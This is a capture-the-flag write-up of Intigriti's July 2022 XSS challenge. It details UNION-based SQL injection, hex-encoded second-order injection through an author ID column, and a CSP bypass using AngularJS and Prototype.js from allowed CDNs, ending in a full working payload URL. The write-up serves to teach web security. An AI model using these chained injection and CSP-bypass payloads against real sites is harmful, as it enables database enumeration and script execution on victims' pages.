Intigriti’s July 0722 XSS Challenge Writeup

Benasin
7 min readAug 1, 2022

--

I. Overview

This is an awesome XSS challenge created by vroemy. You can try solving it yourself here https://challenge-0722.intigriti.io/.

Goal: Execute alert(document.domain)

Let’s get started!

First things first, we gonna use this application like a normal user so we can have a better understanding of how it functions.

Challenge’s home page

So our target today is a blogging app. And you can also see that the author loves kitties, maybe that will help :). Let’s explore further.

I tried clicking on the authors’ name but apparently it leads to nowhere. Next is the Archives section.

Archives Section

The Archives section will show the posts accordingly to the month specified in the GET parameter ?month.

II. Analysis

We have used all the functionalities so let’s get to the hacking part.

  1. Identifying untrusted data endpoints

For this step it’s pretty easy to see that we can control the GET parameter month that allows us to see the blog post in that month.

2. Having a sense of how the application is processing the untrusted data

As you can see above, each posts has a title, month, author, and body.

Since this is a blackbox challenge, I guess that the SQL query to get the posts’ data will look something like this.

"SELECT * FROM blog_posts WHERE month=" . $_GET["month"];

I’m not entirely sure that the application is using concatenated SQL query and is vulnerable to SQL Injection so the best way is to test it out.

First I only inject a single quote to see how it behaves.

As expected it will return an error.

Next I will use operator UNION to further extract the database. For those of you don’t know UNION is used to combine the result-set of two or more SELECT statements. But noted that the result of the following SELECT query must have the same number of column.

For example:

The SQL query becomes:

SELECT * FROM blog_posts WHERE month = 2 UNION SELECT 1;

Because the number of columns from the second SELECT statement does not match the number of blog_posts’ column so it will return an error.

We will keep selecting more columns until the error message is gone.

Now we know that the blog_posts table will have 5 columns and the 2nd, 3rd and 5th column will be reflected on the webpage. For the 1st column I guessed that it is an ID column so it will not be reflected. We don’t know what the 4th column do just yet. Keep this in mind.

We can enumerate some info about the database using this technique.

Here I use @@datadir, user() and database() function to know the database’s directory, database’s name and the database’s user. (You can try to dump the whole database and find an Easter Egg there keke).

We know that these values are reflected so how about injecting our XSS payload there? Sounds like a great plan!

We will start with the most harmless payload and see how it goes.

Looks like the server doesn’t like our string with a single quote :((. But luckily, in MySQL, we can pass a string using hex encoded value.

You can use ASCII hex encode in Burp to convert

The payload is reflected but is HTML encoded. Let’s see how it renders on the browser.

So maybe it is safe here? How about the other fields?

That’s weird every field is safe from XSS?? I’ve tried all sort of techniques trying to bypass the HTML encoding but no luck. Sadge.

Let’s step back for a moment and see what we can control by comparing our post with other posts:

  • Title
  • Date and time
  • Blog content

Are we missing something? How about the author field?

How does the server know that the 1st post is from Jake and the 2nd post is from Anton? There are 2 possibilities:

  1. Each post will have a column for the author’s name.
  2. Each post will have a column for the author’s id, and the application use that id to lookup the author’s name in the users’ table from there.

First option won’t make sense because when we injected number 4 it didn’t show up in the author field. However the second possibility seems viable.

Let’s test our theory.

We can change the 4th column to ID 1 and it will show the author is Anton. How about we change it to 2.

The author changes to Jake which is the 2nd user. Our theory is correct! YAYY!! So what if the other fields doesn’t have XSS but this one does.

What I like to do is to construct a pseudocode to understand how this process might look like.

result = query_DB("SELECT id, content, title, author_id, month FROM blog_post WHERE month = $_GET['month']");author_id = result["author_id"];author = query_DB("SELECT name FROM user WHERE id = author_id");
  1. It will SELECT the data from blog_post table then it will store in the result variable.
  2. Then the author_id will be stored in the author_id variable.
  3. After that it will get the author’s name from the user table by the author_id.

As I have mentioned above we can control the author_id so why don’t we turn it into a SQL query and perform a SQL injection on the second query to control the author’s name?

Ultimately I want the program to behave like this:

// First we inject the SQL query to the author_id columnresult = query_DB("SELECT id, content, title, author_id, month FROM blog_post WHERE month = 1 UNION SELECT 1,2,3,'-1 UNION SELECT '<h1>benasin</h1>'',5");// result["author_id"] = -1 UNION SELECT '<h1>benasin</h1>'
author_id
= result["author_id"];
author = query_DB("SELECT name FROM user WHERE id = author_id");// The query will now be SELECT name FROM user WHERE id = -1 UNION SELECT '<h1>benasin</h1>'// author = <h1>benasin</h1>

Note: In the second SQL query, I make the id = -1 so that the query will not show any authors’ data and only show the result from the injected UNION query.

There is one small problem. We don’t know the number of columns of table user. But we can easily solve this problem by selecting more columns until we hit an error.

The payload for the second query will look like this.

-1 UNION SELECT 1,'<h1>benasin</h1>',2

let’s convert <h1>benasin</h1> into hex because the server doesn’t like single quotes.

-1 UNION SELECT 1,0x3c68313e62656e6173696e3c2f68313e,2

Then we converted the this whole payload into hex

0x2d3120554e494f4e2053454c45435420312c307833633638333133653632363536653631373336393665336332663638333133652c32

and combine it with the first payload

1 UNION SELECT 1,2,3,0x2d3120554e494f4e2053454c45435420312c307833633638333133653632363536653631373336393665336332663638333133652c32,5

Let’s test it out.

The h1 tag is reflected

Yay so we successfully HTML injected the page.

Last step is to convert the <h1> to an XSS payload and we’re done. Easy win!

Welp. Hello CSP :<. You blocked my script!

So what is CSP you may wonder?

Content Security Policy aka CSP is a policy or a “rule” that can be used to prevent scripts, which violates the policy, from executing.

For example you can find the CSP policy of this application from every response.

According to this CSP, only scripts that are from ‘self’ which is the webpage itself (same origin) or scripts from *.googleapis.com, *.gstatic.com, *.cloudflare.com are allowed to be executed.

Inline scripts (<script> blocks, DOM event handlers like onerror, javascript: links) and scripts from other locations are not allowed. That’s why our XSS payload doesn’t work.

We have to find a way to trigger our malicious JavaScript from these domains *.googleapis.com, *.gstatic.com, *.cloudflare.com.

The idea is to load some library that will allow us to run JavaScript.

After searching for a while on google I have found this article on bypass CSP using Third-party endpoints.

Content Security Policy (CSP) Bypass — HackTricks

I chose the angular.js and prototype.js route.

Angular.js itself doesn’t allow access to window because of its sandbox but combining with Prototype.js’s curry property that will return window object on call() we can execute arbitrary JavaScript.

Here is our final payload:

https://challenge-0722.intigriti.io/challenge/challenge.php?month=1+UNION+SELECT+1,2,3,0x2d3120554e494f4e2053454c45435420312c30783363373336333732363937303734323037333732363333643232363837343734373037333361326632663631366136313738326536373666366636373663363536313730363937333265363336663664326636313661363137383266366336393632373332663631366536373735366336313732366137333266333132653336326533393266363136653637373536633631373232653664363936653265366137333232336533633266373336333732363937303734336533633733363337323639373037343230373337323633336432323638373437343730373333613266326636313661363137383265363736663666363736633635363137303639373332653633366636643266363136613631373832663663363936323733326637303732366637343666373437393730363532663331326533373265333332653330326637303732366637343666373437393730363532653661373332323365336332663733363337323639373037343365336336343639373632303665363732643631373037303364323232323230366536373264363337333730336432323232336537623762373736393665363436663737336432343666366532653633373537323732373932653633363136633663323832393362373736393665363436663737326536313663363537323734323837373639366536343666373732653634366636333735366436353665373432653634366636643631363936653239376437643363326636343639373633652c32,5

VICTORY!!!

Thanks for reading ! Hope you enjoyed the writeup, I know I did writing it :).

--

--